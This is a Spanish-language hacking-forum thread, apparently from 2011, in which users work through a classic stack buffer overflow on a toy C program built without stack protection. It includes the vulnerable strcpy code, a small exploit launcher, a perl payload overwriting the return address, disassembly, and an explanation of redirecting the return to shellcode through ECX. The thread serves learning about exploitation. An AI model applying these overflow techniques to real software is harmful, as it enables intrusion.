Autor
|
Tema: ¡¡¡ No puedo sobreescribir el RET !!! (Leído 10,866 veces)
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Y como sobreescribo es 3d? Yo en este caso lo unico que quiero es hacerle saltar a una funcion llamada "feo" #include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc, char *argv []) { if (argc != 2) return 1; char buffer [4]; strcpy (buffer, argv [1]); getchar (); return 0; }
int feo () { printf ("Hola"); exit (1); }
Yo lo que hago es saber cuantas As le tengo que meter, menos 4 para la direccion de "feo"... r AAAABBBB r AAAAAAAABBBB r AAAAAAAAAAAABBBB r AAAAAAAAAAAAAAAABBBB
Y que el ret me apunte a 0x42424242... ¿Como lo hago asi? Realmente me has liado xD te he perdido ... vamos a ver, tengo una proteccion sin desactivar? compilo asi: gcc --no-stack-protector -o vuln vuln.c -g
Te agradezco que tengas paciencia, pues se que en algunos casos es realmente dificil con algunos... como yo xD... Como lo hago? Gracias xD
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
No se porque te genera ese prologo/epilogo tu compilador. El mio si compilo igual que vos lo unico que hace es salvar ebp y alinear la pila, lo que da un esquema de explotacion generico (sobreescribir ret y listo). El caso tuyo como te conte es mas complicado por esa astucia del compilador. Te resumo sino que es lo que sobreescribis y en que afecta la ejecucion del programa vulnerable. Suponete que ejecutas tu programa asi: Vuln AAAAAA...AA(shellcode) O sea, muchas As y al final tu shellcode. Bueno despues de una cantidad x determinada As, vas a tener 4 As que van a sobrescribir el registro ecx, lo cual quiere decir que tenes control externo de ese registro. Lo que se sabe es que para establecer la direccion de retorno desde main se usa ecx y tambien se sabe de que manera se usa. O sea que tenes un control indirecto de la direccion de retorno. De que manera se usa el valor de ecx para establecer la direccion de retorno? La direccion de retorno debe estar almacenada en la direccion ECX - 4. Bueno vamos a hacer ciertas suposiciones: - Se le pasa como argumento a Vuln 40 As y despues tu shellcode. - A partir de la direccion de memoria 0xbfff0000 se encuentran las 40 As seguidas de tu shellcode despues de la ejecucion de strcpy(). - ECX va a tomar el valor de las A en las posiciones 21-22-23-24. Bueno dado ese escenario tu shellcode comienza en la dir 0xbfff0028 (40 en hexa es 28). Ahora la idea seria sobreescribir ECX con una direccion determinada de tal manera que en esa direccion se encuentre el valor 0xbfff0028, o sea la direccion de tu shellcode. Por ejemplo si en ECX escribis 0xbfff0004 (acordate que ecx lo controlas desde el argumento), tu programa va a tomar ECX, le va a restar 4 (lo que da 0xbfff0000) y va a usar el contenido de la direccion 0xbfff0000 como direccion de retorno. Pero resulta que esa direccion corresponden a las primeras 4 As del argumento de Vuln! Por lo que los 4 primeros valores del argumento pasado a Vuln deberian ser 0xbfff0028 (en little endian), es decir la direccion de tu shellcode. Espero haber sido mas explicativo. Lo mejor es que desensambles tu codigo con objdump, break en main y lo pases con step en gdb. Cuando llegues a pop ecx mira el estado de la pila, fijate a que valor apunta esp al momento del ret, etc. Debug debug y mas debug. Suertes!
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Estuve buscando sobre el codigo que te genera tu compilador y es posible que tengas que actualizarlo. Encontre un bug que fue reportado en el siguiente enlace :http://gcc.gnu.org/bugzilla/show_bug.cgi?id=28074 Al que reporta el problema le pasa lo mismo que a vos. Gcc le genera esto leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp
En lugar de algo mas eficiente como esto pushl %ebp movl %esp, %ebp andl $-16, %esp
Que version de compilador estas usando Sagrini?
|
|
|
En línea
|
|
|
|
leucocito
Desconectado
Mensajes: 199
|
La respuesta Sagrini creo que la tienes por privado revisa tus mensajes de entrada,saludos!
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
No, no la tengo Bueno, no se que pasa pero algunas respuestas "desaparecen"... Tendre que hacer algo... Bueno, reescribo lo que dije el otro dia... #include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc, char *argv []) { if (argc != 2) return 1; char buffer [4]; return 0; } int feo () { }
Bueno, este es mi code. Pues resulta que quiero hacer saltar la ejecucion a feo (). Entonces, lo que hago es este exploit... #include <stdio.h> #include <string.h>
int main () { printf ("Hola!"); char nops [8]; // Buffer + EBP memset (nops, '\x90', sizeof (nops)); char ret [4] = "\x76\x84\x04\x08"; // Direccion regreso de "feo". Comprobada con GDB.
char command [19]; //8+4+7 strcpy (command, "./vuln "); strcat (command, nops); strcat (command, ret); system (command);
return 0; }
Y me suelta fallo de segmentacion... Sin imprimirme "hola". Por que? Luego, el exploit no va... ¿Que puedo hacer? Modf: Y ahora, pruebo a hacerlo sin exploit. juanra@Juanra:~/Escritorio$ ./vuln AAAAAAAA$(perl -e 'print "\x76\x84\x04\x08"') Fallo de segmentación
Bueno y ahora? Voy a liarme con GDB, ahora posteo...
|
|
« Última modificación: 17 Enero 2011, 12:28 pm por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Sangrini me desangré explicandote! Bue, olvida todo lo que dije, compilalo asi gcc -fno-stack-protector -S -o vuln.s vuln.c
y pega el contenido del archivo de salida vuln.s asi se facilita la ayuda.
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
.file "vuln.c" .text .globl main .type main, @function main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx subl $36, %esp movl %ecx, -28(%ebp) movl -28(%ebp), %eax cmpl $2, (%eax) je .L2 movl $1, -24(%ebp) jmp .L3 .L2: movl -28(%ebp), %edx movl 4(%edx), %eax addl $4, %eax movl (%eax), %eax movl %eax, 4(%esp) leal -8(%ebp), %eax movl %eax, (%esp) call strcpy movl $0, -24(%ebp) .L3: movl -24(%ebp), %eax addl $36, %esp popl %ecx popl %ebp leal -4(%ecx), %esp ret .size main, .-main .section .rodata .LC0: .string "Hola" .text .globl feo .type feo, @function feo: pushl %ebp movl %esp, %ebp subl $8, %esp movl $.LC0, (%esp) call printf movl $1, (%esp) call exit .size feo, .-feo .ident "GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3" .section .note.GNU-stack,"",@progbits
Se nos podria haber ocurrido hace tiempo no? jeje que locos estamos...
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Se nos podria haber ocurrido hace tiempo no? jeje que locos estamos...
Anon habia dicho maso lo mismo Bue, mirando el estado del paciente, anda olvidandote de la historia "sobreescribir ebp y despues eip etc." mientras estes adentro de main. Si queres seguir con el esquema tradicional, mete el strcpy en una funcion llamada por main, o sea una cosa asi: void soy_vuln(char *arg) { char buffer [4]; strcpy (buffer, arg); }
int main(int argc, char *argv[]) { if (argc != 2) return 1;
soy_vuln(argv[1]); }
Proba y contanos
|
|
« Última modificación: 17 Enero 2011, 20:17 pm por Ivanchuk »
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
De acuerdo Ivanchuck, pero... por que? --------------------------------------------------------------- Cierro todo. Seré tonto! Evidentemente strcpy no puede sobreescribir la direccion de vuelta, porque la funcion se mete antes de la vuelta! Entonces el ret va antes que los Ases, asi que no se puede sobreescribir... Eso ultimo me extrañaba. Hace poco publique aqui un mensaje en el que se notaba que no se podia cambiar el ret porque los ases estaban en otro sitio... De todos modos lo tuve que dejar y pase de el... Y el mensaje "se borro" Ahora modifico con la respuestaa... Gracias Ivanchuck! Ahora tendre que buscar como hacer para que me funcione con mi code, porque se podra... Todo se pude... ------------------------------------------------------ Vale, se acabo. Lo consegui pero sin exploit. Tuve que usar perl... ./vuln $(perl -e 'print "AAAAAAAA\x\x\x\x') Y la direccion en las X's Entonces ahora queda... 1) Pasar a exploit. Me da fallo de segmentacion a ver que pasa porque funciona con perl. 2) Hacerlo con mi code... 3) Hacerlo con shellcode Po-de-mos!!!
|
|
« Última modificación: 19 Enero 2011, 21:01 pm por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Necesito Ayuda!!! Como puedo sobreescribir......(VB)
Programación Visual Basic
|
Nichas
|
2
|
3,754
|
8 Julio 2005, 19:59 pm
por Nichas
|
|
|
(ayuda) copiar sin sobreescribir
.NET (C#, VB.NET, ASP)
|
guidosl
|
1
|
5,118
|
12 Marzo 2009, 20:09 pm
por guidosl
|
|
|
Sobreescribir el archivo iexplore.exe
Hacking
|
iubens
|
5
|
6,178
|
14 Marzo 2011, 15:50 pm
por TheInfinityJoker
|
|
|
[?]Sobreescribir la URL entera?
Desarrollo Web
|
VCore
|
2
|
2,598
|
13 Junio 2011, 05:41 am
por VCore
|
|
|
Escribir xml sin sobreescribir
.NET (C#, VB.NET, ASP)
|
aspiazu
|
1
|
2,815
|
1 Mayo 2017, 05:36 am
por Eleкtro
|
|